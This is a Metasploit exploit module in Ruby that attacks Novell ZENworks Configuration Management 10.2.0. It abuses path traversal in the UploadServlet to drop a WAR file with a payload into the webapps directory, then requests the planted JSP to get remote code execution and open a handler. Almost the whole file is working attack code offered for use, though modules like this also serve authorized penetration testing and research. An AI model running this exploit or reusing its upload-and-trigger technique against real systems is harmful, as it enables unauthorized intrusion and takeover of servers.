Novell ZENworks Configuration Management Remote Execution



##

# $Id: zenworks_uploadservlet.rb 11099 2010-11-22 17:53:49Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
            'Description' => %q{
                    This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
                By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
                and then make a secondary request that allows for arbitrary code execution.
            },
            'Author'      => [ 'MC' ],
            'License'     => MSF_LICENSE,
            'Version'     => '$Revision: 11099 $',
            'References'  =>
                [
                    [ 'OSVDB', '63412' ],
                    [ 'BID', '39114' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
                    [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
                ],
            'Privileged'  => true,
            'Platform'    => [ 'java', 'win', 'linux' ],
            'Targets'     =>
                [
                    [ 'Java Universal',
                        {
                            'Arch' => ARCH_JAVA,
                            'Platform' => 'java'
                        },
                    ],
                    [ 'Windows x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        },
                    ],
                    [ 'Linux x86', # should work but untested
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Mar 30 2010'))

        register_options([Opt::RPORT(80),], self.class)
    end

    def exploit

        # Generate the WAR containing the EXE containing the payload
        app_base = rand_text_alphanumeric(4+rand(32-4))
        jsp_name = rand_text_alphanumeric(8+rand(8))

        war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

        res = send_request_cgi(
            {
                'uri'    => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
                'method' => 'POST',
                'data'   => war_data,
                'headers' =>
                    {
                        'Content-Type' => 'application/octet-stream',
                    }
            })

        print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

        select(nil, nil, nil, 20)

        if (res.code == 200)
            print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
                send_request_raw(
                    {
                        'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
                        'method' => 'GET',
                    })
        else
            print_error("Denied...")
        end

        handler
    end

end